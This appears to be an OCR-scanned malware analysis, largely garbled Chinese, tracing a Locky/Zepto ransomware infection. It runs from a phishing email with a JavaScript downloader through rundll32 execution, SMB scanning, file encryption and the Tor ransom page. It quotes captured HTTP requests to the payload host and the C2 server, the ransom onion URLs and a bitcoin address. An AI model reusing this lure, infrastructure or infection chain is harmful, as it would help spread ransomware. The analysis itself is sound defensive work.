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¥ zip SpE AR -

2016/9/2 (iBF) T 07:38
Bud Rush <Rush.28@vdc.vn>
old office facilities

=

HE I 3e9adecddb4.zip (23 KB) l

Hi Bert,

Attached is the list of old office facilities that need to be replaced. Please copy the list into
the purchase order form.

Best wishes,
Bud Rush

1. ¥ 24

1. #* WAL % Windows T(32 bit) x Seit (7 IR 3Tk B3R o
2. BALARN zip 2R G f6 §F = BUEAD L A js SRR oRRT Y L

exe {7 jsEF ¥ ALY javascript EB IR FHEE -

j office_facilities_E3CC8693 - 1js 2016/9/2 T4 02.. JScript I8 146 KB
j office_facilities_E3CC8693 js 2016/9/2 T4 02.. JScript I8 146 KB
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SHA256 0b1ba52ebe1800f18512a60d49e20ad3335c0c5ed923880250975244257cc29 $
Detection ratio: | 9/ 56
—

Analysis date: 2016-09-02 11:39:40 UTC ( 3 days, 16 hours ago ) ‘r 0 O

Antivirus Result Update

AhnLab-V3 JS/Obfus.5123 20160902
Antiy-AVL Trojan/Generic. ASMalwR G .6E 20160902
Cyren JS/Locky ATIEldorado 20160902
F-Prot JS/Locky ATIEldorado 20160902
Fortinet JS/Nemucod 8BCClir.didr 20160902
Kaspersky HEUR:Trojan-Downloader Script. Generic 20160902

4, 287 js s o kg ¥k sidest Wseript.exe 4 #77 java

script o

Event FProcess Stack

Image
i Microsoft & Windows Based Script Host
’ Micrasoft Corporation
MName:  WScript.exe

Version: 5.8.7600.16385

Path:

| C:\Windows\System32\W5cript.exe

Command Line:

| "C:\Windows\System32\WScript.exe" "C:\Users\Dark\Desktop\3e9a4ecddbd4\office_facilities_E3CC8693.js"

D. #iF procexp 1 £ & F ¥ F AN 74k fE 0 ¥ 25 3 WSeript. exe § =+
rund1132. exe » & = ¥ # 7 23> C:\~\local\temp\ & & #2:*

pFonKtg7.dl1 -
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rundll32.exe:3740 Properties

Image | Performancel Performance Graph | GPU Graph | Threads | TCP!]Pl Security | Environmentl Strings|

Image File

Parent:  wscript.exe(4020)

Q Windows FHEEEIFFER (Rundll32)

Microsoft Corporation
Version: 6.1.7600.16385

Build Tue Jul 14 07:41:43 2009
Path:

C:\Windows\System32\rundll32.exe

Command line:

"C\windows\system32\rundll32.exe" C:\Users\Dark\AppData\Local\Temp\ZPFONK~1.DLL, qwerty 323
Current directory:

C:\Users\Dark\Desktop,

Autostart Location:

n/a

6. &% Virustotal # 45 3% DLL # % > FezdizAh 3 5 R0 &) 40/58 & R,
23 TS R A R ) 25 ransomware ©
SHA256 9dc5ad10ec45f77056d5tb611d1ead1e788a3930893f376d6a668eb9af20c5c7

Analy

File name: Backup :Q
Detection ratio: | 40/ 58 ‘r4

Antivirus Result Update

AlYac Gen:Variant. Zusy 204752 20160908
AVG Crypt_r.CDM 20160906
AVware Trojan.Win32 GenericlBT 20160908
Ad-Aware Gen'Variant. Zusy 204752 20160906
AegisLab Troj. W32 Genericlc 20160906
AhnLab-V3 Malware/Win32.Generic.N2095733249 20160905

sis date 2016-09-06 04:22:34 UTC ( 1 hour, 11 minutes ago )

7. EAARNELIBNFL2Z -4 HohamppadRid Fprd5a0
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| rundli32.exe:3740 Properties

| Imagel Performancel Performance Graph | GPU Graph |Threads| TCR/IP |Securit‘_.r| Environmentl Strings|

[ |Resolve addresses

Prat... Local Address Remote Address State
TCP 140, 40757 01.211.119.71 http ESTAPRLISHED

8. i * Cports E*JF;: AT R AR o 4 G BRI ARNE T G b TP
2R S NP INRERE B [PEF scan B T HETLHF T 3B

R N E S LR TR

@ System 1256  UDP 5355 liminr

@ System 4 TCP 48270 fe80:2181.. 445 microsoft-ds fe80:2d33:47e6cc3f:d241 Sent

@ System 4 TCP 49271 140 445 microsoft-ds 140 100 ip edutw Sent

@ System 4 TCP 49272 140. 139 netbios-ssn 140. 100 ip edutw Sent

@ Unknown 0 TCP 49264 140. 139 netbios-ssn 140. 208 ip edutw Time Wait
@ Unknown 0 TCP 49265 140. 139 netbios-ssn 140. 208 ip edutw Time Wait
@ Unknown 0 TCP 49258 140 139 netbios-ssn 140 208 ip edutw Time Wait
@ Unknown 0 TCP 49259 140 139 netbios-ssn 140 208 ip edutw Time Wait
@ Unknown 0 TCP 49260 140. 139 netbios-ssn 140. 41 ip dutw Time Wait
@ Unknown 0 TCP 43262 140. 139 netbios-ssn 140. 207 ip edutw Time Wait

9. # #rF AP 0 M AR R A RS Bk g R - BRI
" HELP instructions.bmp; ™ % — % " _HELP instructions. html ; #
P iRP B RET H P EF AP AR L S EF R TR

Bow RS gk Bk
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10, SRELRETREER RG> S BTG 2 Bt S L
MBI LA D2 %5 0 @ B, Lt 5 zepto & locky ﬁr,urm%
a3 -

EC3737B6-C31B-E444-2F5B-F05443CO6EAEZEpED

EC3737B6-C31B-E444-8B50-D3DA92C35E00.2epto
EC3737B6-C31B-E444-21F9-A26E9D0BF311 Zzepto
EC3737B6-C31B-E444-440C-51D3006E274B.zepto
EC3737B6-C31B-E444-0803-75E140EB44D4.zepto
EC3737B6-C31B-E444-5301-CoCEC52496EF zepto
EC3737B6-C31B-E444-ADE9-E41BBAGGSFO0ZEptD
EC3737B6-C31B-E444-BEZ23-FEEF44BFASEA Zepto

L1 12453 3P fhenp B4 07> B2 e & 58 Tor e0% & i f
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RE TS A ks CHYRA SR iE 5T sRAREr THYAE
FIEFBUCTHYRAA B » ARG DA T o — (B8
1. http://5n7y4yihirccftcs.torweb.org/EC3737B6C31BE444
2. http://5n7y4yihirccftcs.onion.to/EC3737B6C31BE444

12. o 6| B Fxs#7k onion 43 pb (5§ FI 2 > S8 = = shRelay 1P 4 #

B¢ X R Foen P i onion Site e

b~ € Sn7ydyihirecftcS.ononEC3737B6C31BE444

Mew [dentity Crl+Shaft+1T
Mew Tor Circuit for this Site Ctel+=hift+L

Tor circuit for this site
(5n7ydyihirccftch.onion):
Privacy and Secunty Settings---

Tor Network Settings This browser

United States (38.229.70.61)

Check for Tor Browser Update: - Netherlands (192.42.113.102)
France (212.47.240.10)
(relay)
(relay)
(relay)
Onion site

13. #5% Tor FITES# B rcenis > NRaEFH? 2 9 Locky
Decryptor #F > L A AR F F L o iRy 2R ag it 10
BRBADEIFRE T IR FHE R EFRITLLHF 3N 80,5 BIC

M AR D 4p ek > S 9 ERT S 10000 2 e

R 0.5 EHSTEatb STt ¢

1Mt2RLLrz2W744QU5D6GPTNmdb5h6pBAqU
L B IEE0GMEE  RURT BRI B - Bih SRR

B | LEETaTRE 251D L

not found
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AR RS e

FEATRERLN -

localbitcoins com (WU)
coincafe.com

localbitcoins.com
cexio

btedirect eu
bitguick.co
howtobuybitcoins.info
cashintocoins.com
coinjar.com

anxpro com
bittylicious.com

BT Locky Decryptor™ # Tagf:
R i e

#{ai3Z Locky Decryptor™?

R LRERE AR - IR LRSI ERRRIET -

A1, 5 AT A, -

REMTILETDARETES  EHF AN TEEENE S -

FERWestern Union(FEEGCE)FRIGREST -

e AT RIS RS AT R -

TR A =+ Western Union, Bank of Americaigid FedExBFRHER) T IN A0 - 7241EY © EEBTHATM -
H -

{?lﬁE%fm#ﬁ?fﬂéﬁ?i@ﬁ)\iﬁ%ﬁﬁi%ﬁ
HRVISA/MASTERCARD/ F A FakiR1T kb -

THFERHIS A -
s R R b A5 -
EfFtER T RS R -
AHE R ST
FECoInjarfk Al LU E SR bR -

Lt

=k

FEf -

A
ETINS

it b 1B o

A EROE e BN E G RFOE LEE A VRERE - 2L G

LEE T R » & A R LI '?]z B iprlab iR L e B e

B pRAte ¢ T g 0 AR A ER AN WSeript. exe ¢ Ll F

£ WY #eep ey Tpalwinstall. wang > & 2 %38 HTTP GET = 3¢ & §¢

165KB #% % ezr08tjd > Z|%75 4v % * e df o
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NetWitness Reconstruction for session ID: 5 ( Source 140. 249255, Target 107.173.176.4 : 80)
Tim 09/05/2016 14:03:39 Packet Size 177,769 bytes Payload Size 165,415 bytes
GET /ezrD8tjd HTTP/1.1 e~
Aocept: ¥/*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2
. JNET CLR 2.0.30727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0
. InfoPath.3)

Host - ilins Al WaREN

Connection: Keep-Alive

“unmecpom®

HTTP/1.1 200 OK

Server: nging

Date: Mon, 05 Sep 2016 06:03:35 GMT
Content-Type: application/octet-strean
Content-Length: 164868

Connection: keep-alive

Last-Modified: Fri, 02 Sep 2016 06:41:54 GMT
ETag: "57c91f32-28404"

Accept-Ranges: bytes

s @3@ ZvliE BEI%{s4 ve@/==_ 5 feg & Q@O 1 S O FEHE 2 N U
QO-7HEHQ E 0@ 2E¢t  Wo@LRIE (¥ @' QLQUOICTETEG AT ) W

@50 1 &  fEerH, 19006 STcoBOTeIIEL 1z VExg iE 1 G§ {THERn

Q2rplifeeda VITgRE: €.8F /+48\3 5@ RS6 SHEuESIENILZS€  n#zfE+wEWHE : #EL

Ofz i

P9 HiEc 1E¢ P @.% |FHEEF @D @ FROITES. Belif<MiEHe . (EU

17. f#t7ies 4 malwinstall.wang & @ 3% § & Bz [P 3
107.173.176.4 = 23.95.106.220 > =% o ¥ 7 i E 5L0GO » 2|47+
KA R T B A4 -

< (0 malwinstallwang ¢ Q#Es »

Welcome!

Site malwinstall wang just created.
Real content coming soon.

ISPsystem © 1997-2016

18. #ifsh%isenzas 0 B 45 TpFonKtgT. d11 % &
rund1132. exe B 4o & 5o g5 e C&C 91.211.119. 71 :&2 (=3 4 » 3% *

HTTP POST = ;¢ + @& urlencoded #4c % p % 3 /data/info. php » #2%)]
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NetWitness Reconstruction for session ID: 14 ( Source 140 249257, Target 91.211.119.71 - 80)
Payload Size 14,566 bytes

Time 9/05/2016 14:04:43 to 9/05/2016 14:09:35 Packet Size 16,378 bytes

POST fdata/info.php HTTP/1.1
Accept: */*
Accept-Languape: en-us
Referer: http://91.211.119.71/data/
x-requested-with: XMIHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Caches-Control @ no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2
: .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLE 3.0.30729; Media Center PC 6.0
; InfoPath.3)
Host: 91.211.119.71
Content-Length: 717
Connection: Keep-Alive

EkreTRXX=%84%FD%] 8v%1B%D 90 ABECwH2 6HEB%26%D 0%80%95V% 1 2%9ID%F 97 a%F SHC3%07FH81 MAC 7in
BESEDACH1 BFEAHBCEe®] FhooT=R%2 1 BEFEBBENBOSETCHL0%0C00%] OFCBBAL B1 0%4 0%1 3EFOBSCOBTES
8300 3%BAKE 6%C ABCESAL T KnV=%1 3v%FO%EE%A Sn%DO%D 1 HB0BEENBS 7HEER0 SUBODHCA 1D 1C 1%91%3A%
2BHO1SFEESEARIS B3 DEESEVIBE 1 B0S% 7B LK HOORAFRCABTESBOBE At heF [=_230%] 4%9F8hwHDYESL D%
Fq-%CBa®C9%846%4 8% TCEDD0AFhN Y wD=3EERCERES K% OBEF SBSBRAT B26 BEERDERAL DO GRE OFF2 52241 |
i 4=%1 7B 3REAB2PNEBSH28%E 0 . BESHARD TKHECE] TRDFGHFFRACTROI%22E%5D%35%] 5%3DAFBEBI%S0
BILBEDUBEEDTERe dSSRI k=%3FUC THEFRICH2FHOFREC12%] TvHhOEeRC0a%D O%DET vk %9 2%B SADES2CHSF
%0751 TREBSEEANEOTHASHO 0FBA% 21 ub0A%CTHETEL B kzkosv=9C 5T IR%2F%4 SHEDBACRES 7% 3DNEDERF
A%CBHE 4% TDEDCHD3BE] B4 28 SHIBPEERI THDESDORIBEE 1 %4 3% 1 2%EAHCBHCERCOBOEDW

19, $afs% t & CRC NP 451 » B RN BAH P 0 F 5 ppeie 7
netbios (P3P T FRFEHN B hE F TRAEF R £ @

P RETS NAS 33 7 Ll % Ao -

Time Service Size  Events Displaying 1 - 10
2016-5ep-05 14:04:49 IP/TCP{SMB| 3.10KB s 140. - 140. 208  (@h 49258 —- 139 (netbios—ssn)
2016-5ep-05 14:04:49 IP/ TCP} SMB| 3.74 KB s 140. = -> 140. 208  igh 49259 —|- 139 (netbios-ssn)
2016-5ep-05 14:04:51 IP/TCP}SMB| 8.21 KB s 140. -= 140. 41 o 49260 -={ 139 (netbios-ssn)
2016-5ep-05 14:04:53 IP/ TCP [ SMB| 3.33 KB s 140. u->140. 207 o 49262 - 139 (netbios-ssn)
2016-5Sep-05 14:04:58 IP/TCP[SMB| 2.10KB s 140. - 140. 208 g 49264 —I- 139 (netbios—ssn)
2016-5ep-05 14:04:58 IP/TCP}SMB| 2.10KB s 140. -=> 140. 208 o 49265 - 139 (netbios—ssn)
2016-5Sep-05 14:08:16 IP/ TCP} SMB| 2.90KB s 140. -> 140. 113 @ 49284 —|- 445 (cifs)

2016-5Sep-05 14:08:19 IP/ TCP} SMB| 2.37KB s 140. = - ]140. 35 @ 49285 —={ 445 (cifs)
2016-5Sep-0514:09:14 IP/TCP| SMB| 3.10KB % 140. -> 140, 208 g 49292 —I- 139 (netbios—ssn)

2016-5ep-05 14:09:14 IP/ TCP / SMB E'S 3 i ) m49293 —> 139 (netbios-ssn)
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